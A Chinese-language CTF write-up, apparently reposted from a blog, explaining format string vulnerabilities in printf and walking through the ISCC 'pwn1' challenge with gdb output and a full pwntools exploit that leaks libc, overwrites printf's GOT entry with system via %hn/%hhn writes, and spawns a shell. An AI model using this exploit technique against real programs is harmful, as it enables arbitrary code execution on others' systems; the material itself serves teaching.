1. 程式人生 > >格式化字符串利用小結

格式化字符串利用小結

remote mar call scanf 改變 roc 成功 add payload

格式化字符串利用小結

格式化字符串漏洞基本原理:

Printf()函數的一般形式為printf(“format”,輸出表列),其第一個參數就是格式化字符串,用來告訴程序以什麽格式進行輸出。正常情況下,這樣使用:

char str[100];

scanf(“%s”,str);

printf(“%s”,str);

但也有人這麽用:

char str[100]

scanf(“%s”,str);

printf(str)

也許代碼編寫者的本意只是單純打印一段字符(如“hello world”),但如果這段字符串來源於外部用戶可控的輸入,則該用戶完全可以在字符串中嵌入格式化字符(如%s)。那麽,由於printf允許參數個數不固定,故printf會自動將這段字符當作format參數,而用其後內存中的數據匹配format參數。

技術分享圖片

以上圖為例,假設調用printf(str)時的棧是這樣的:

(1)如果str就是“Hello word”,則直接輸出“hello world”

(2)如果str是format,例如:%2$p,就會輸出format偏移2處到內存地址的內容!

實例分析:

下面我們來通過ISCC pwn1的格式化字符從來進行分析:

首先看下文件

file pwn1

pwn1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 

for GNU/Linux 2.6
.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

運行下程序:

技術分享圖片

查看下保護機制:

技術分享圖片

發現只有NX保護機制。

看下反編譯的源碼:

技術分享圖片

發現漏洞在printf輸出的地方。測試下:

技術分享圖片

果然出現了打印地址的情況,說明存在格式戶字符串漏洞。

我們來調試熟悉格式化字符串的利用:

%c:輸出字符,配上%n可用於向指定地址寫數據。

%d:輸出十進制整數,配上%n可用於向指定地址寫數據。

%x:輸出16進制數據,如%i$x表示要泄漏偏移i處4字節長的16進制數據,%i$lx表示要泄漏偏移i處8字節長的16進制數據,32bit和64bit環境下一樣。

%p:輸出16進制數據,與%x基本一樣,只是附加了前綴0x,在32bit下輸出4字節,在64bit下輸出8字節,可通過輸出字節的長度來判斷目標環境是32bit還是64bit。

%s:輸出的內容是字符串,即將偏移處指針指向的字符串輸出,如%i$s表示輸出偏移i處地址所指向的字符串,在32bit和64bit環境下一樣,可用於讀取GOT表等信息。

%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置,如%100x%10$n表示將0x64寫入偏移10處保存的指針所指向的地址(4字節),而%$hn表示寫入的地址空間為2字節,%$hhn表示寫入的地址空間為1字節,%$lln表示寫入的地址空間為8字節,在32bit和64bit環境下一樣。有時,直接寫4字節會導致程序崩潰或等候時間過長,可以通過%$hn或%$hhn來適時調整。

%n是通過格式化字符串漏洞改變程序流程的關鍵方式,而其他格式化字符串參數可用於讀取信息或配合%n寫數據。

1、%x打印內存數據

首先在printf處下一個斷點:

技術分享圖片

運行輸入%x:

技術分享圖片

程序段在了我們的斷點處。C繼續運行

技術分享圖片

發現程序打印出了,format偏移1處的內存中的內容。

技術分享圖片

現在我們輸入%5$x 看打印的內容是不是:0x1

技術分享圖片

果然輸出了我們想要預設的偏移為5的數據,即為1.

2、%p打印內存數據

%p的用法和%x的用法相同,不同的是%p會在打印的數據前面添加上0x(輸出16進制數據)。例如%5$p

技術分享圖片

然後試一下偏移四處的棧數據即我們預測的0xaffd014.輸入%4$p,看效果。可以發現打印的是帶有0x的數據內容,即十六進制數據。

技術分享圖片

3、%s打印內存數據

%i&s是打印處偏移i處地址裏面數據指向的內存地址的內容。例如我們通過%3$s以字符串格式打印偏移3處的內容,就是0xffffd074指向的內容,即為0xffffd26c,下面我們看效果。

技術分享圖片

會發現打印的是L***為什麽不是0xffffd26c呢?別急,看下轉碼。

技術分享圖片

內存小端存儲,是以 6c d2 ff ff 形式存儲,打印的就是0xffffd26c轉換為字符串之後的形式。

4、%n寫入內存數據

%n和%s類似,會把%好之前的字符個數,寫入第i處數據指向的地址空間,我們實驗下AAA%3$n,看看會不會把3寫入到0xffffd074指向的內存,即覆蓋0xffffd26c.

技術分享圖片

技術分享圖片

技術分享圖片

會看到,我們成功將3寫入了0xffffd074指向的數據。這樣我們就能夠利用這一點來修改got表的地址了。

如果要寫入具體的數據可以通過%datax%n$n,例如要寫入數據0x48到偏移刪除的位置,可以用%72x%3$n.(72是0x48的十進制數據。)

調試看效果:

技術分享圖片

技術分享圖片

可以發現偏移三處的位置,0xffffd074指向的數據被我們修改為了0x48(‘H‘).

例題鏈接:http://pan.baidu.com/s/1nv3NRVN 密碼:8qjb

後面我們會結合實際的例題來完整的實例腳本。

還是這道題pwn1,剛剛我們對格式化字符串的參數利用方法,下面就是利用方式了。先看腳本:

 1 from pwn import*
 2 
 3 local =1
 4 debug = 1
 5 
 6 if local:
 7     p = process(./pwn1)
 8 else:
 9     p = remote("127.0.0.1",8080)
10 
11 #context.log_level = ‘debug‘
12 ‘‘‘
13 if debug:
14     gdb.attach(p)
15 ‘‘‘
16 def fms(data):
17     p.recvuntil("input$",timeout=4)
18     p.sendline("1")
19     p.recvuntil("please input your name:\n")
20     p.sendline(data)
21 
22 
23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
24 elf = ELF(./pwn1)
25 
26 fms(%35$p)
27 
28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main
29 libc_addr = libc_start_main_addr - libc.symbols[__libc_start_main]
30 print "libc_addr =",hex(libc_addr)
31 
32 printf_got = elf.got[printf]
33 print "printf_got =",hex(printf_got)
34 
35 system_addr =libc_addr + libc.symbols[system]
36 print "system_addr =",hex(system_addr)
37 
38 #make stack
39 make_stack = a * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 
40 fms(make_stack)
41 #gdb.attach(p)
42 
43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
45 print "payload=",payload
46 
47 fms(payload)
48 fms(/bin/sh\x00)
49 p.interactive()

看下這條語句:

 make_stack = a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 

目的是擡高棧:防止寫入的數據被程序執行過程中被覆蓋,語句如下,0x30這個數值可以自己定義。剩下的工作就是調試尋找偏移地址了。

利用思路:1、泄露地址:__libc_start_main —>libc_addr

     2、修改printf的got表內的地址為system函數的地址。

     3、通過源程序中的printf(/bin/sh),就變成了system(/bin/sh),取得了shell了。

參考鏈接:http://bobao.360.cn/learning/detail/3654.html

格式化字符串利用小結